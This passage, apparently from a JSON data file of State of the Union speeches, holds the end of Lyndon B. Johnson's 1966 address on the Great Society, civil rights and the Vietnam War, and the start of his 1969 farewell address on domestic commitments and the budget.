revitalizing the entire Federal system\nfrom prevention to probation.I recommend that you take additional steps to insure equal justice to all\nof our people by effectively enforcing nondiscrimination in Federal and\nState jury selection, by making it a serious Federal crime to obstruct\npublic and private efforts to secure civil rights, and by outlawing\ndiscrimination in the sale and rental of housing.I recommend that you help me modernize and streamline the Federal\nGovernment by creating a new Cabinet level Department of Transportation and\nreorganizing several existing agencies. In turn, I will restructure our\ncivil service in the top grades so that men and women can easily be\nassigned to jobs where they are most needed, and ability will be both\nrequired as well as rewarded.I will ask you to make it possible for Members of the House of\nRepresentatives to work more effectively in the service of the Nation\nthrough a constitutional amendment extending the term of a Congressman to 4\nyears, concurrent with that of the President. II.Because of Vietnam we cannot do all that we should, or all that we would\nlike to do. We will ruthlessly attack waste and inefficiency. We will make\nsure that every dollar is spent with the thrift and with the commonsense\nwhich recognizes how hard the taxpayer worked in order to earn it.We will continue to meet the needs of our people by continuing to develop\nthe Great Society.Last year alone the wealth that we produced increased $47 billion, and it\nwill soar again this year to a total over $720 billion.Because our economic policies have produced rising revenues, if you approve\nevery program that I recommend tonight, our total budget deficit will be\none of the lowest in many years. It will be only $1.8 billion next year.\nTotal spending in the administrative budget will be $112.8 billion.\nRevenues next year will be $111 billion.On a cash basis--which is the way that you and I keep our family\nbudget--the Federal budget next year will actually show a surplus. That is\nto say, if we include all the money that your Government will take in and\nall the money that your Government will spend, your Government next year\nwill collect one-half billion dollars more than it will spend in the year\n1967.I have not come here tonight to ask for pleasant luxuries or for idle\npleasures. I have come here to recommend that you, the representatives of\nthe richest Nation on earth, you, the elected servants of a people who live\nin abundance unmatched on this globe, you bring the most urgent decencies\nof life to all of your fellow Americans.There are men who cry out: We must sacrifice. Well, let us rather ask them:\nWho will they sacrifice? Are they going to sacrifice the children who seek\nthe learning, or the sick who need medical care, or the families who dwell\nin squalor now brightened by the hope of home? Will they sacrifice\nopportunity for the distressed, the beauty of our land, the hope of our\npoor?Time may require further sacrifices. And if it does, then we will make\nthem.But we will not heed those who wring it from the hopes of the unfortunate\nhere in a land of plenty.I believe that we can continue the Great Society while we fight in Vietnam.\nBut if there are some who do not believe this, then, in the name of\njustice, let them call for the contribution of those who live in the\nfullness of our blessing, rather than try to strip it from the hands of\nthose that are most in need.And let no one think that the unfortunate and the oppressed of this land\nsit stifled and alone in their hope tonight. Hundreds of their servants and\ntheir protectors sit before me tonight here in this great Chamber. III.The Great Society leads us along three roads--growth and justice and\nliberation.I can report to you tonight what you have seen for yourselves already--in\nevery city and countryside. This Nation is flourishing.Workers are making more money than ever--with after-tax income in the past\n5 years up 33 percent; in the last year alone, up 8 percent.More people are working than ever before in our history--an increase last\nyear of 2 1/2 million jobs.Corporations have greater after-tax earnings than ever in history. For the\npast 5 years those earnings have been up over 65 percent, and last year\nalone they had a rise of 20 percent.Average farm income is higher than ever. Over the past 5 years it is up 40\npercent, and over the past year it is up 22 percent alone.I was informed this afternoon by the distinguished Secretary of the\nTreasury that his preliminary estimates indicate that our balance of\npayments deficit has been reduced from $2.8 billion in 1964 to $1.3\nbillion, or less, in 1965. This achievement has been made possible by the\npatriotic voluntary cooperation of businessmen and bankers working with\nyour Government.We must now work together with increased urgency to wipe out this balance\nof payments deficit altogether in the next year.And as our economy surges toward new heights we must increase our vigilance\nagainst the inflation which raises the cost of living and which lowers the\nsavings of every family in this land. It is essential, to prevent\ninflation, that we ask both labor and business to exercise price and wage\nrestraint, and I do so again tonight.I believe it desirable, because of increased military expenditures, that\nyou temporarily restore the automobile and certain telephone excise tax\nreductions made effective only 12 days ago. Without raising taxes--or even\nincreasing the total tax bill paid--we should move to improve our\nwithholding system so that Americans can more realistically pay as they go,\nspeed up the collection of corporate taxes, and make other necessary\nsimplifications of the tax structure at an early date.I hope these measures will be adequate. But if the necessities of Vietnam\nrequire it, I will not hesitate to return to the Congress for additional\nappropriations, or additional revenues if they are needed.I propose legislation to establish unavoidable requirements for\nnondiscriminatory jury selection in Federal and State courts--and to give\nthe Attorney General the power necessary to enforce those requirements.I propose legislation to strengthen authority of Federal courts to try\nthose who murder, attack, or intimidate either civil rights workers or\nothers exercising their constitutional rights--and to increase penalties to\na level equal to the nature of the crime.Legislation, resting on the fullest constitutional authority of the Federal\nGovernment, to prohibit racial discrimination in the sale or rental of\nhousing.For that other nation within a Nation--the poor--whose distress has now\ncaptured the conscience of America, I will ask the Congress not only to\ncontinue, but to speed up the war on poverty. And in so doing, we will\nprovide the added energy of achievement with the increased efficiency of\nexperience.To improve the life of our rural Americans and our farm population, we will\nplan for the future through the establishment of several new Community\nDevelopment Districts, improved education through the use of Teacher Corps\nteams, better health measures, physical examinations, and adequate and\navailable medical resources.For those who labor, I propose to improve unemployment insurance, to expand\nminimum wage benefits, and by the repeal of section 14(b) of the\nTaft-Hartley Act to make the labor laws in all our States equal to the laws\nof the 31 States which do not have tonight right-to-work measures.And I also intend to ask the Congress to consider measures which, without\nimproperly invading State and local authority, will enable us effectively\nto deal with strikes which threaten irreparable damage to the national\ninterest.Yet, slowly, painfully, on the edge of victory, has come the knowledge that\nshared prosperity is not enough. In the midst of abundance modern man walks\noppressed by forces which menace and confine the quality of his life, and\nwhich individual abundance alone will not overcome.We can subdue and we can master these forces--bring increased meaning to\nour lives--if all of us, Government and citizens, are bold enough to change\nold ways, daring enough to assault new dangers, and if the dream is dear\nenough to call forth the limitless capacities of this great people.This year we must continue to improve the quality of American life.Let us fulfill and improve the great health and education programs of last\nyear, extending special opportunities to those who risk their lives in our\nArmed Forces.I urge the House of Representatives to complete action on three programs\nalready passed by the Senate--the Teacher Corps, rent assistance, and home\nrule for the District of Columbia.In some of our urban areas we must help rebuild entire sections and\nneighborhoods containing, in some cases, as many as 100,000 people. Working\ntogether, private enterprise and government must press forward with the\ntask of providing homes and shops, parks and hospitals, and all the other\nnecessary parts of a flourishing community where our people can come to\nlive the good life.I will offer other proposals to stimulate and to reward planning for the\ngrowth of entire metropolitan areas.Of all the reckless devastations of our national heritage, none is really\nmore shameful than the continued poisoning of our rivers and our air.We must undertake a cooperative effort to end pollution in several river\nbasins, making additional funds available to help draw the plans and\nconstruct the plants that are necessary to make the waters of our entire\nriver systems clean, and make them a source of pleasure and beauty for all\nof our people.To attack and to overcome growing crime and lawlessness, I think we must\nhave a stepped-up program to help modernize and strengthen our local police\nforces.Our people have a right to feel secure in their homes and on their\nstreets--and that right just must be secured.Nor can we fail to arrest the destruction of life and property on our\nhighways.I will propose a Highway Safety Act of 1966 to seek an end to this mounting\ntragedy.We must also act to prevent the deception of the American\nconsumer--requiring all packages to state clearly and truthfully their\ncontents--all interest and credit charges to be fully revealed--and keeping\nharmful drugs and cosmetics away from our stores.It is the genius of our Constitution that under its shelter of enduring\ninstitutions and rooted principles there is ample room for the rich\nfertility of American political invention. We must change to master\nchange.I propose to take steps to modernize and streamline the executive branch,\nto modernize the relations between city and State and Nation.A new Department of Transportation is needed to bring together our\ntransportation activities. The present structure--35 Government agencies,\nspending $5 billion yearly--makes it almost impossible to serve either the\ngrowing demands of this great Nation or the needs of the industry, or the\nright of the taxpayer to full efficiency and real frugality.I will propose in addition a program to construct and to flight-test a new\nsupersonic transport airplane that will fly three times the speed of\nsound--in excess of 2,000 miles per hour.I propose to examine our Federal system--the relation between city, State,\nNation, and the citizens themselves. We need a commission of the most\ndistinguished scholars and men of public affairs to do this job. I will ask\nthem to move on to develop a creative federalism to best use the wonderful\ndiversity of our institutions and our people to solve the problems and to\nfulfill the dreams of the American people.As the process of election becomes more complex and more costly, we must\nmake it possible for those without personal wealth to enter public life\nwithout being obligated to a few large contributors.Therefore, I will submit legislation to revise the present unrealistic\nrestriction on contributions--to prohibit the endless proliferation of\ncommittees, bringing local and State committees under the act--to attach\nstrong teeth and severe penalties to the requirement of full disclosure of\ncontributions--and to broaden the participation of the people, through added\ntax incentives, to stimulate small contributions to the party and to the\ncandidate of their choice.To strengthen the work of Congress I strongly urge an amendment to provide\na 4-year term for Members of the House of Representatives--which should not\nbegin before 1972.The present 2-year term requires most Members of Congress to divert\nenormous energies to an almost constant process of campaigning--depriving\nthis Nation of the fullest measure of both their skill and their wisdom.\nToday, too, the work of government is far more complex than in our early\nyears, requiring more time to learn and more time to master the technical\ntasks of legislating. And a longer term will serve to attract more men of\nthe highest quality to political life. The Nation, the principle of\ndemocracy, and, I think, each congressional district, will all be better\nserved by a 4-year term for Members of the House. And I urge your swift\naction. IV.Tonight the cup of peril is full in Vietnam. That conflict is not an\nisolated episode, but another great event in the policy that we have\nfollowed with strong consistency since World War II.The touchstone of that policy is the interest of the United States--the\nwelfare and the freedom of the people of the United States. But nations\nsink when they see that interest only through a narrow glass.In a world that has grown small and dangerous, pursuit of narrow aims could\nbring decay and even disaster.An America that is mighty beyond description--yet living in a hostile or\ndespairing world--would be neither safe nor free to build a civilization to\nliberate the spirit of man.In this pursuit we helped rebuild Western Europe. We gave our aid to Greece\nand Turkey, and we defended the freedom of Berlin.In this pursuit we have helped new nations toward independence. We have\nextended the helping hand of the Peace Corps and carried forward the\nlargest program of economic assistance in the world.And in this pursuit we work to build a hemisphere of democracy and of\nsocial justice.In this pursuit we have defended against Communist aggression--in Korea\nunder President Truman--in the Formosa Straits under President\nEisenhower--in Cuba under President Kennedy--and again in Vietnam.Tonight Vietnam must hold the center of our attention, but across the world\nproblems and opportunities crowd in on the American Nation. I will discuss\nthem fully in the months to come, and I will follow the five continuing\nlines of policy that America has followed under its last four Presidents.While special Vietnam expenditures for the next fiscal year are estimated\nto increase by $5.8 billion, I can tell you that all the other expenditures\nput together in the entire Federal budget will rise this coming year by\nonly $.6 billion. This is true because of the stringent cost-conscious\neconomy program inaugurated in the Defense Department, and followed by the\nother departments of Government.We will vigorously pursue existing proposals--and seek new ones--to control\narms and to stop the spread of nuclear weapons.By strengthening the common defense, by stimulating world commerce, by\nmeeting new hopes, these associations serve the cause of a flourishing\nworld.We will take new steps this year to help strengthen the Alliance for\nProgress, the unity of Europe, the community of the Atlantic, the regional\norganizations of developing continents, and that supreme association--the\nUnited Nations.We will work to strengthen economic cooperation, to reduce barriers to\ntrade, and to improve international finance.From the Marshall plan to this very moment tonight, that policy has rested\non the claims of compassion, and the certain knowledge that only a people\nadvancing in expectation will build secure and peaceful lands.This year I propose major new directions in our program of foreign\nassistance to help those countries who will help themselves.We will conduct a worldwide attack on the problems of hunger and disease\nand ignorance.We will place the matchless skill and the resources of our own great\nAmerica, in farming and in fertilizers, at the service of those countries\ncommitted to develop a modern agriculture.We will aid those who educate the young in other lands, and we will give\nchildren in other continents the same head start that we are trying to give\nour own children. To advance these ends I will propose the International\nEducation Act of 1966.I will also propose the International Health Act of 1966 to strike at\ndisease by a new effort to bring modern skills and knowledge to the\nuncared-for, those suffering in the world, and by trying to wipe out\nsmallpox and malaria and control yellow fever over most of the world during\nthis next decade; to help countries trying to control population growth, by\nincreasing our research--and we will earmark funds to help their efforts.In the next year, from our foreign aid sources, we propose to dedicate $1\nbillion to these efforts, and we call on all who have the means to join us\nin this work in the world.For a peaceful world order will be possible only when each country walks\nthe way that it has chosen to walk for itself.We follow this principle by encouraging the end of colonial rule.We follow this principle, abroad as well as at home, by continued hostility\nto the rule of the many by the few--or the oppression of one race by\nanother.We follow this principle by building bridges to Eastern Europe. And I will\nask the Congress for authority to remove the special tariff restrictions\nwhich are a barrier to increasing trade between the East and the West.The insistent urge toward national independence is the strongest force of\ntoday's world in which we live.In Africa and Asia and Latin America it is shattering the designs of those\nwho would subdue others to their ideas or their will.It is eroding the unity of what was once a Stalinist empire.In recent months a number of nations have east out those who would subject\nthem to the ambitions of mainland China.History is on the side of freedom and is on the side of societies shaped\nfrom the genius of each people. History does not favor a single system or\nbelief--unless force is used to make it so.That is why it has been necessary for us to defend this basic principle of\nour policy, to defend it in Berlin, in Korea, in Cuba--and tonight in\nVietnam.For tonight, as so many nights before, young Americans struggle and young\nAmericans die in a distant land.Tonight, as so many nights before, the American Nation is asked to\nsacrifice the blood of its children and the fruits of its labor for the\nlove of its freedom.How many times--in my lifetime and in yours--have the American people\ngathered, as they do now, to hear their President tell them of conflict and\ntell them of danger?Each time they have answered. They have answered with all the effort that\nthe security and the freedom of this Nation required.And they do again tonight in Vietnam. Not too many years ago Vietnam was a\npeaceful, if troubled, land. In the North was an independent Communist\ngovernment. In the South a people struggled to build a nation, with the\nfriendly help of the United States.There were some in South Vietnam who wished to force Communist rule on\ntheir own people. But their progress was slight. Their hope of success was\ndim. Then, little more than 6 years ago, North Vietnam decided on conquest.\nAnd from that day to this, soldiers and supplies have moved from North to\nSouth in a swelling stream that is swallowing the remnants of revolution in\naggression.As the assault mounted, our choice gradually became clear. We could leave,\nabandoning South Vietnam to its attackers and to certain conquest, or we\ncould stay and fight beside the people of South Vietnam. We stayed.And we will stay until aggression has stopped.We will stay because a just nation cannot leave to the cruelties of its\nenemies a people who have staked their lives and independence on America's\nsolemn pledge--a pledge which has grown through the commitments of three\nAmerican Presidents.We will stay because in Asia and around the world are countries whose\nindependence rests, in large measure, on confidence in America's word and\nin America's protection. To yield to force in Vietnam would weaken that\nconfidence, would undermine the independence of many lands, and would whet\nthe appetite of aggression. We would have to fight in one land, and then we\nwould have to fight in another--or abandon much of Asia to the domination\nof Communists.And we do not intend to abandon Asia to conquest.Last year the nature of the war in Vietnam changed again. Swiftly\nincreasing numbers of armed men from the North crossed the borders to join\nforces that were already in the South. Attack and terror increased, spurred\nand encouraged by the belief that the United States lacked the will to\ncontinue and that their victory was near.Despite our desire to limit conflict, it was necessary to act: to hold back\nthe mounting aggression, to give courage to the people of the South, and to\nmake our firmness clear to the North. Thus. we began limited air action\nagainst military targets in North Vietnam. We increased our fighting force\nto its present strength tonight of 190,000 men.These moves have not ended the aggression but they have prevented its\nsuccess. The aims of the enemy have been put out of reach by the skill and\nthe bravery of Americans and their allies--and by the enduring courage of\nthe South Vietnamese who, I can tell you, have lost eight men last year for\nevery one of ours.The enemy is no longer close to victory. Time is no longer on his side.\nThere is no cause to doubt the American commitment.Our decision to stand firm has been matched by our desire for peace.In 1965 alone we had 300 private talks for peace in Vietnam, with friends\nand adversaries throughout the world.Since Christmas your Government has labored again, with imagination and\nendurance, to remove any barrier to peaceful settlement. For 20 days now we\nand our Vietnamese allies have dropped no bombs in North Vietnam.Able and experienced spokesmen have visited, in behalf of America, more\nthan 40 countries. We have talked to more than a hundred governments, all\n113 that we have relations with, and some that we don't. We have talked to\nthe United Nations and we have called upon all of its members to make any\ncontribution that they can toward helping obtain peace.In public statements and in private communications, to adversaries and to\nfriends, in Rome and Warsaw, in Paris and Tokyo, in Africa and throughout\nthis hemisphere, America has made her position abundantly clear.We seek neither territory nor bases, economic domination or military\nalliance in Vietnam. We fight for the principle of self-determination--that\nthe people of South Vietnam should be able to choose their own course,\nchoose it in free elections without violence, without terror, and without\nfear.The people of all Vietnam should make a free decision on the great question\nof reunification.This is all we want for South Vietnam. It is all the people of South\nVietnam want. And if there is a single nation on this earth that desires\nless than this for its own people, then let its voice be heard.We have also made it clear--from Hanoi to New York--that there are no\narbitrary limits to our search for peace. We stand by the Geneva Agreements\nof 1954 and 1962. We will meet at any conference table, we will discuss any\nproposals--four points or fourteen or forty--and we will consider the views\nof any group. We will work for a cease-fire now or once discussions have\nbegun. We will respond if others reduce their use of force, and we will\nwithdraw our soldiers once South Vietnam is securely guaranteed the right\nto shape its own future.We have said all this, and we have asked--and hoped--and we have waited for\na response.So far we have received no response to prove either success or failure.We have carried our quest for peace to many nations and peoples because we\nshare this planet with others whose future, in large measure, is tied to\nour own action, and whose counsel is necessary to our own hopes.We have found understanding and support. And we know they wait with us\ntonight for some response that could lead to peace.I wish tonight that I could give you a blueprint for the course of this\nconflict over the coming months, but we just cannot know what the future\nmay require. We may have to face long, hard combat or a long, hard\nconference, or even both at once.Until peace comes, or if it does not come, our course is clear. We will act\nas we must to help protect the independence of the valiant people of South\nVietnam. We will strive to limit the conflict, for we wish neither\nincreased destruction nor do we want to invite increased danger.But we will give our fighting men what they must have: every gun, and every\ndollar, and every decision--whatever the cost or whatever the challenge.And we will continue to help the people of South Vietnam care for those\nthat are ravaged by battle, create progress in the villages, and carry\nforward the healing hopes of peace as best they can amidst the uncertain\nterrors of war.And let me be absolutely clear: The days may become months, and the months\nmay become years, but we will stay as long as aggression commands us to\nbattle.There may be some who do not want peace, whose ambitions stretch so far\nthat war in Vietnam is but a welcome and convenient episode in an immense\ndesign to subdue history to their will. But for others it must now be\nclear--the choice is not between peace and victory, it lies between peace\nand the ravages of a conflict from which they can only lose.The people of Vietnam, North and South, seek the same things: the shared\nneeds of man, the needs for food and shelter and education--the chance to\nbuild and work and till the soil, free from the arbitrary horrors of\nbattle--the desire to walk in the dignity of those who master their own\ndestiny. For many painful years, in war and revolution and infrequent\npeace, they have struggled to fulfill those needs.It is a crime against mankind that so much courage, and so much will, and\nso many dreams, must be flung on the fires of war and death.To all of those caught up in this conflict we therefore say again tonight:\nLet us choose peace, and with it the wondrous works of peace, and beyond\nthat, the time when hope reaches toward consummation, and life is the\nservant of life.In this work, we plan to discharge our duty to the people whom we serve.\nV.This is the State of the Union.But over it all--wealth, and promise, and expectation--lies our troubling\nawareness of American men at war tonight.How many men who listen to me tonight have served their Nation in other\nwars? How very many are not here to listen?The war in Vietnam is not like these other wars. Yet, finally, war is\nalways the same. It is young men dying in the fullness of their promise. It\nis trying to kill a man that you do not even know well enough to hate.Therefore, to know war is to know that there is still madness in this\nworld.Many of you share the burden of this knowledge tonight with me. But there\nis a difference. For finally I must be the one to order our guns to fire,\nagainst all the most inward pulls of my desire. For we have children to\nteach, and we have sick to be cured, and we have men to be freed. There are\npoor to be lifted up, and there are cities to be built, and there is a\nworld to be helped.Yet we do what we must.I am hopeful, and I will try as best I can, with everything I have got, to\nend this battle and to return our sons to their desires.Yet as long as others will challenge America's security and test the\nclearness of our beliefs with fire and steel, then we must stand or see the\npromise of two centuries tremble. I believe tonight that you do not want me\nto try that risk. And from that belief your President summons his strength\nfor the trials that lie ahead in the days to come.The work must be our work now. Scarred by the weaknesses of man, with\nwhatever guidance God may offer us, we must nevertheless and alone with our\nmortality, strive to ennoble the life of man on earth.Thank you, and goodnight.", 
+    "name": "Lyndon B. Johnson"
+}
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+{
+    "date": "January 14, 1969", 
+    "speech": "Mr. Speaker, Mr. President, Members of the Congress and my fellow\nAmericans:For the sixth and the last time, I present to the Congress my assessment of\nthe State of the Union.I shall speak to you tonight about challenge and opportunity--and about the\ncommitments that all of us have made together that will, if we carry them\nout, give America our best chance to achieve the kind of great society that\nwe all want. Every President lives, not only with what is, but with what\nhas been and what could be.Most of the great events in his Presidency are part of a larger sequence\nextending back through several years and extending back through several\nother administrations.Urban unrest, poverty, pressures on welfare, education of our people, law\nenforcement and law and order, the continuing crisis in the Middle East,\nthe conflict in Vietnam, the dangers of nuclear war, the great difficulties\nof dealing with the Communist powers, all have this much in common: They\nand their causes--the causes that gave rise to them--all of these have\nexisted with us for many years. Several Presidents have already sought to\ntry to deal with them. One or more Presidents will try to resolve them or\ntry to contain them in the years that are ahead of us.But if the Nation's problems are continuing, so are this great Nation's\nassets:--our economy,--the democratic system,--our sense of exploration, symbolized most recently by the wonderful\nflight of the Apollo 8, in which all Americans took great pride,--the good commonsense and sound judgment of the American people, and--their essential love of justice.We must not ignore our problems. But .neither should we ignore our\nstrengths. Those strengths are available to sustain a President of either\nparty--to support his progressive efforts both at home and overseas.Unfortunately, the departure of an administration does not mean the end of\nthe problems that this administration has faced. The effort to meet the\nproblems must go on, year after year, if the momentum that we have all\nmounted together in these past years is not to be lost.Although the struggle for progressive change is continuous, there are times\nwhen a watershed is reached--when there is--if not really a break with the\npast--at least the fulfillment of many of its oldest hopes, and a stepping\nforth into a new environment, to seek new goals. I think the past 5 years\nhave been such a time.We have finished a major part of the old agenda.Some of the laws that we wrote have already, in front of our eyes, taken on\nthe flesh of achievement.Medicare that we were unable to pass for so many years is now a part of\nAmerican life.Voting rights and the voting booth that we debated so long back in the\nriffles, and the doors to public service, are open at last to all Americans\nregardless of their color.Schools and school children all over America tonight are receiving Federal\nassistance to go to good schools.Preschool education--Head Start--is already here to stay and, I think, so\nare the Federal programs that tonight are keeping more than a million and a\nhalf of the cream of our young people in the colleges and the universities\nof this country.Part of the American earth--not only in description on a map, but in the\nreality of our shores, our hills, our parks, our forests, and our\nmountains--has been permanently set aside for the American public and for\ntheir benefit. And there is more that will be set aside before this\nadministration ends.Five million Americans have been trained for jobs in new Federal programs.I think it is most important that we all realize tonight that this Nation\nis close to full employment--with less unemployment than we have had at any\ntime in almost 20 years. That is not in theory; that is in fact. Tonight,\nthe unemployment rate is down to 3.3 percent. The number of jobs has grown\nmore than 8 1/2 million in the last 5 years. That is more than in all the\npreceding 12 years.These achievements completed the full cycle, from idea to enactment and,\nfinally, to a place in the lives of citizens all across this country.I wish it were possible to say that everything that this Congress and the\nadministration achieved during this period had already completed that\ncycle. But a great deal of what we have committed needs additional funding\nto become a tangible realization.Yet the very existence of these commitments--these promises to the American\npeople, made by this Congress and by the executive branch of the\nGovernment--are achievements in themselves, and failure to carry through on\nour commitments would be a tragedy for this Nation.This much is certain: No one man or group of men made these commitments\nalone. Congress and the executive branch, with their checks and balances,\nreasoned together and finally wrote them into the law of the land. They now\nhave all the moral force that the American political system can summon when\nit acts as one.They express America's common determination to achieve goals. They imply\naction.In most cases, you have already begun that action--but it is not fully\ncompleted, of course.Let me speak for a moment about these commitments. I am going to speak in\nthe language which the Congress itself spoke when it passed these measures.\nI am going to quote from your words.In 1966, Congress declared that \"improving the quality of urban life is the\nmost critical domestic problem facing the United States.\" Two years later\nit affirmed the historic goal of \"a decent home . . . for every American\nfamily.\" That is your language.Now to meet these commitments, we must increase our support for the model\ncities program, where blueprints of change are already being prepared in\nmore than 150 American cities.To achieve the goals of the Housing Act of 1968 that you have already\npassed, we should begin this year more than 500,000 homes for needy\nfamilies in the coming fiscal year. Funds are provided in the new budget to\ndo just this. This is almost 10 times--10 times--the average rate of the\npast 10 years.Our cities and our towns are being pressed for funds to meet the needs of\ntheir growing populations. So I believe an urban development bank should be\ncreated by the Congress. This bank could obtain resources through the\nissuance of taxable bonds and it could then lend these resources at reduced\nrates to the communities throughout the land for schools, hospitals, parks,\nand other public facilities.Since we enacted the Social Security Act back in 1935, Congress has\nrecognized the necessity to \"make more adequate provision for aged persons\n. . . through maternal and child welfare . . . and public health.\" Those\nare the words of the Congress--\"more adequate.\"The time has come, I think, to make it more adequate. I believe we should\nincrease social security benefits, and I am so recommending tonight.I am suggesting that there should be an overall increase in benefits of at\nleast 13 percent. Those who receive only the minimum of $55 should get $80\na month.Our Nation, too, is rightfully proud of our medical advances. But we should\nremember that our country ranks 15th among the nations of the world in its\ninfant mortality rate.I think we should assure decent medical care for every expectant mother and\nfor their children during the first year of their life in the United States\nof America.I think we should protect our children and their families from the costs of\ncatastrophic illness.As we pass on from medicine, I think nothing is clearer to the Congress\nthan the commitment that the Congress made to end poverty. Congress\nexpressed it well, I think, in 1964, when they said: \"It is the policy of\nthe United States to eliminate the paradox of poverty in the midst of\nplenty in this nation.\"This is the richest nation in the world. The antipoverty program has had\nmany achievements. It also has some failures. But we must not cripple it\nafter only 3 years of trying to solve the human problems that have been\nwith us and have been building up among us for generations.I believe the Congress this year will want to improve the administration of\nthe poverty program by reorganizing portions of it and transferring them to\nother agencies. I believe, though, it will want to continue, until we have\nbroken the back of poverty, the efforts we are now making throughout this\nland.I believe, and I hope the next administration--I believe they believe--that\nthe key to success in this effort is jobs. It is work for people who want\nto work.In the budget for fiscal 1970, I shall recommend a total of $3.5 billion\nfor our job training program, and that is five times as much as we spent in\n1964 trying to prepare Americans where they can work to earn their own\nliving.The Nation's commitment in the field of civil rights began with the\nDeclaration of Independence. They were extended by the 13th, 14th, and 15th\namendments. They have been powerfully strengthened by the enactment of\nthree far-reaching civil rights laws within the past 5 years, that this\nCongress, in its wisdom, passed.On January 1 of this year, the Fair Housing Act of 1968 covered over 20\nmillion American homes and apartments. The prohibition against racial\ndiscrimination in that act should be remembered and it should be vigorously\nenforced throughout this land.I believe we should also extend the vital provisions of the Voting Rights\nAct for another 5 years.In the Safe Streets Act of 1968, Congress determined \"To assist state and\nlocal governments in reducing the incidence of crime.\"This year I am proposing that the Congress provide the full $300 million\nthat the Congress last year authorized to do just that.I hope the Congress will put the money where the authorization is.I believe this is an essential contribution to justice and to public order\nin the United States. I hope these grants can be made to the States and\nthey can be used effectively to reduce the crime rate in this country.But all of this is only a small part of the total effort that must be\nmade--I think chiefly by the local governments throughout the Nation--if we\nexpect to reduce the toll of crime that we all detest.Frankly, as I leave the Office of the Presidency, one of my greatest\ndisappointments is our failure to secure passage of a licensing and\nregistration act for firearms. I think if we had passed that act, it would\nhave reduced the incidence of crime. I believe that the Congress should\nadopt such a law, and I hope that it will at a not too distant date.In order to meet our long-standing commitment to make government as\nefficient as possible, I believe that we should reorganize our postal\nsystem along the lines of the Kappel[1] report.[Footnote 1: Frederick R. Kappel, Chairman of the Commission on Executive,\nLegislative and Judicial Salaries.]I hope we can all agree that public service should never impose an\nunreasonable financial sacrifice on able men and women who want to serve\ntheir country.I believe that the recommendations of the Commission on Executive,\nLegislative and Judicial Salaries are generally sound. Later this week, I\nshall submit a special message which I reviewed with the leadership this\nevening containing a proposal that has been reduced and has modified the\nCommission's recommendation to some extent on the congressional salaries.For Members of Congress, I will recommend the basic compensation not of the\n$50,000 unanimously recommended by the Kappel Commission and the other\ndistinguished Members, but I shall reduce that $50,000 to $42,500. I will\nsuggest that Congress appropriate a very small additional allowance for\nofficial expenses, so that Members will not be required to use their salary\nincrease for essential official business.I would have submitted the Commission's recommendations, except the advice\nthat I received from the leadership--and you usually are consulted about\nmatters that affect the Congress--was that the Congress would not accept\nthe $50,000 recommendation, and if I expected my recommendation to be\nseriously considered, I should make substantial reductions. That is the\nonly reason I didn't go along with the Kappel report.In 1967 I recommended to the Congress a fair and impartial random selection\nsystem for the draft. I submit it again tonight for your most respectful\nconsideration.I know that all of us recognize that most of the things we do to meet all\nof these commitments I talk about will cost money. If we maintain the\nstrong rate of growth that we have had in this country for the past 8\nyears, I think we shall generate the resources that we need to meet these\ncommitments.We have already been able to increase our support for major social\nprograms--although we have heard a lot about not being able to do anything\non the home front because of Vietnam; but we have been able in the last\n5 years to increase our commitments for such things as health and education\nfrom $30 billion in 1964 to $68 billion in the coming fiscal year. That is\nmore than double. That is more than it has ever been increased in the 188\nyears of this Republic, notwithstanding Vietnam.We must continue to budget our resources and budget them responsibly in a\nway that will preserve our prosperity and will strengthen our dollar.Greater revenues and the reduced Federal spending required by Congress last\nyear have changed the budgetary picture dramatically since last January\nwhen we made our estimates. At that time, you will remember that we\nestimated we would have a deficit of $8 billion. Well, I am glad to report\nto you tonight that the fiscal year ending June 30, 1969, this June, we are\ngoing to have not a deficit, but we are going to have a $2.4 billion\nsurplus.You will receive the budget tomorrow. The budget for the next fiscal year,\nthat begins July 1--which you will want to examine very carefully in the\ndays ahead--will provide a $3.4 billion surplus.This budget anticipates the extension of the surtax that Congress enacted\nlast year. I have communicated with the President-elect, Mr. Nixon, in\nconnection with this policy of continuing the surtax for the time being.I want to tell you that both of us want to see it removed just as soon as\ncircumstances will permit, but the President-elect has told me that he has\nconcluded that until his administration, and this Congress, can examine the\nappropriation bills, and each item in the budget, and can ascertain that\nthe facts justify permitting the surtax to expire or to be reduced, he, Mr.\nNixon, will support my recommendation that the surtax be continued.Americans, I believe, are united in the hope that the Paris talks will\nbring an early peace to Vietnam. And if our hopes for an early settlement\nof the war are realized, then our military expenditures can be reduced and\nvery substantial savings can be made to be used for other desirable\npurposes, as the Congress may determine.In any event, I think it is imperative that we do all that we responsibly\ncan to resist inflation while maintaining our prosperity. I think all\nAmericans know that our prosperity is broad and it is deep, and it has\nbrought record profits, the highest in our history, and record wages.Our gross national product has grown more in the last 5 years than any\nother period in our Nation's history. Our wages have been the highest. Our\nprofits have been the best. This prosperity has enabled millions to escape\nthe poverty that they would have otherwise had the last few years.I think also you will be very glad to hear that the Secretary of the\nTreasury informs me tonight that in 1968 in our balance of payments we have\nachieved a surplus. It appears that we have, in fact, done better this year\nthan we have done in any year in this regard since the year 1957.The quest for a durable peace, I think, has absorbed every administration\nsince the end of World War II. It has required us to seek a limitation of\narms races not only among the superpowers, but among the smaller nations as\nwell. We have joined in the test ban treaty of 1963, the outer space treaty\nof 1967, and the treaty against the spread of nuclear weapons in 1968.This latter agreement--the nonproliferation treaty--is now pending in the\nSenate and it has been pending there since last July. In my opinion, delay\nin ratifying it is not going to be helpful to the cause of peace. America\ntook the lead in negotiating this treaty and America should now take steps\nto have it approved at the earliest possible date.Until a way can be found to scale down the level of arms among the\nsuperpowers, mankind cannot view the future without fear and great\napprehension. So, I believe that we should resume the talks with the Soviet\nUnion about limiting offensive and defensive missile systems. I think they\nwould already have been resumed except for Czechoslovakia and our election\nthis year.It was more than 20 years ago that we embarked on a program of trying to\naid the developing nations. We knew then that we could not live in good\nconscience as a rich enclave on an earth that was seething in misery.During these years there have been great advances made under our program,\nparticularly against want and hunger, although we are disappointed at the\nappropriations last year. We thought they were woefully inadequate. This\nyear I am asking for adequate funds for economic assistance in the hope\nthat we can further peace throughout the world.I think we must continue to support efforts in regional cooperation. Among\nthose efforts, that of Western Europe has a very special place in America's\nconcern.The only course that is going to permit Europe to play the great world role\nthat its resources permit is to go forward to unity. I think America\nremains ready to work with a united Europe, to work as a partner on the\nbasis of equality.For the future, the quest for peace, I believe, requires:--that we maintain the liberal trade policies that have helped us become\nthe leading nation in world trade,--that we strengthen the international monetary system as an instrument of\nworld prosperity, and--that we seek areas of agreement with the Soviet Union where the interests\nof both nations and the interests of world peace are properly served.The strained relationship between us and the world's leading 